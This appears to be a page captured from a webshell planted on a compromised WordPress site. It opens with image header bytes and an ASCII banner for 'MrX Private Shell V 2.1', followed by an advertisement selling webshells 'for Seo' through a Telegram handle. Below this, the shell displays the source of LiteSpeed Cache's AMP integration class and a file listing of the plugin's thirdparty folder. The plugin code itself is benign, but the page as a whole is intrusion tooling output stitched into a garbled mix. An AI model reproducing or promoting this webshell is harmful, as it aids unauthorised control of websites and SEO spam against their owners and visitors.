����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* The Third Party integration with AMP plugin.
*
* @since 2.9.8.6
* @package LiteSpeed
* @subpackage LiteSpeed_Cache/thirdparty
*/
namespace LiteSpeed\Thirdparty;
defined( 'WPINC' ) || exit;
/**
* Integration helpers for AMP-compatible behaviour.
*
* Disables optimization features on AMP endpoints provided by popular AMP
* plugins to ensure valid AMP output (no injected JS/lazy/CSS async, etc).
*/
class AMP {
/**
* Maybe mark current request as AMP and disable conflicting optimizations.
*
* @since 4.2
*
* @param string $amp_function Callback/function name that returns whether current request is AMP.
* @return void
*/
private static function _maybe_amp( $amp_function ) {
if ( is_admin() ) {
return;
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( ! isset( $_GET['amp'] ) && ( ! function_exists( $amp_function ) || ! $amp_function() ) ) {
return;
}
do_action( 'litespeed_debug', '[3rd] ❌ AMP disabled page optm/lazy' );
defined( 'LITESPEED_NO_PAGEOPTM' ) || define( 'LITESPEED_NO_PAGEOPTM', true );
defined( 'LITESPEED_NO_LAZY' ) || define( 'LITESPEED_NO_LAZY', true );
defined( 'LITESPEED_NO_OPTM' ) || define( 'LITESPEED_NO_OPTM', true );
// defined( 'LITESPEED_GUEST' ) || define( 'LITESPEED_GUEST', false );
}
/**
* Ampforwp_is_amp_endpoint() from Accelerated Mobile Pages.
*
* @since 4.2
* @return void
*/
public static function maybe_acc_mob_pages() {
self::_maybe_amp( 'ampforwp_is_amp_endpoint' );
}
/**
* Google AMP fix.
*
* @since 4.2.0.1
* @return void
*/
public static function maybe_google_amp() {
self::_maybe_amp( 'amp_is_request' );
}
/**
* Preload hooks to detect AMP requests and turn off conflicting features.
*
* CSS async will affect AMP result and Lazyload injects JS libraries which
* AMP does not allow. Ensure those are disabled early on AMP endpoints.
*
* @since 2.9.8.6
* @access public
* @return void
*/
public static function preload() {
add_action( 'wp', __CLASS__ . '::maybe_acc_mob_pages' );
add_action( 'wp', __CLASS__ . '::maybe_google_amp' );
// amp_is_request() from AMP.
// self::maybe_amp( 'amp_is_request' );
// add_filter( 'litespeed_can_optm', '__return_false' );
// do_action( 'litespeed_conf_force', API::O_OPTM_CSS_ASYNC, false );
// do_action( 'litespeed_conf_force', API::O_MEDIA_LAZY, false );
// do_action( 'litespeed_conf_force', API::O_MEDIA_IFRAME_LAZY, false );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| aelia-currencyswitcher.cls.php | File | 2.67 KB | 0644 |
|
| amp.cls.php | File | 2.44 KB | 0644 |
|
| autoptimize.cls.php | File | 910 B | 0644 |
|
| avada.cls.php | File | 813 B | 0644 |
|
| bbpress.cls.php | File | 2.58 KB | 0644 |
|
| beaver-builder.cls.php | File | 1.12 KB | 0644 |
|
| caldera-forms.cls.php | File | 806 B | 0644 |
|
| divi-theme-builder.cls.php | File | 3.57 KB | 0644 |
|
| elementor.cls.php | File | 3.25 KB | 0644 |
|
| entry.inc.php | File | 1.51 KB | 0644 |
|
| facetwp.cls.php | File | 1.44 KB | 0644 |
|
| gravity-forms.cls.php | File | 1.14 KB | 0644 |
|
| litespeed-check.cls.php | File | 5.41 KB | 0644 |
|
| nextgengallery.cls.php | File | 6.51 KB | 0644 |
|
| perfmatters.cls.php | File | 996 B | 0644 |
|
| theme-my-login.cls.php | File | 1.01 KB | 0644 |
|
| user-switching.cls.php | File | 793 B | 0644 |
|
| wc-pdf-product-vouchers.cls.php | File | 992 B | 0644 |
|
| wcml.cls.php | File | 1.74 KB | 0644 |
|
| woo-paypal.cls.php | File | 869 B | 0644 |
|
| woocommerce.cls.php | File | 30.15 KB | 0644 |
|
| woocommerce.content.tpl.php | File | 3.91 KB | 0644 |
|
| woocommerce.tab.tpl.php | File | 230 B | 0644 |
|
| wp-polls.cls.php | File | 807 B | 0644 |
|
| wp-postratings.cls.php | File | 900 B | 0644 |
|
| wpdiscuz.cls.php | File | 1.18 KB | 0644 |
|
| wplister.cls.php | File | 870 B | 0644 |
|
| wpml.cls.php | File | 1.02 KB | 0644 |
|
| wptouch.cls.php | File | 879 B | 0644 |
|
| yith-wishlist.cls.php | File | 5.23 KB | 0644 |
|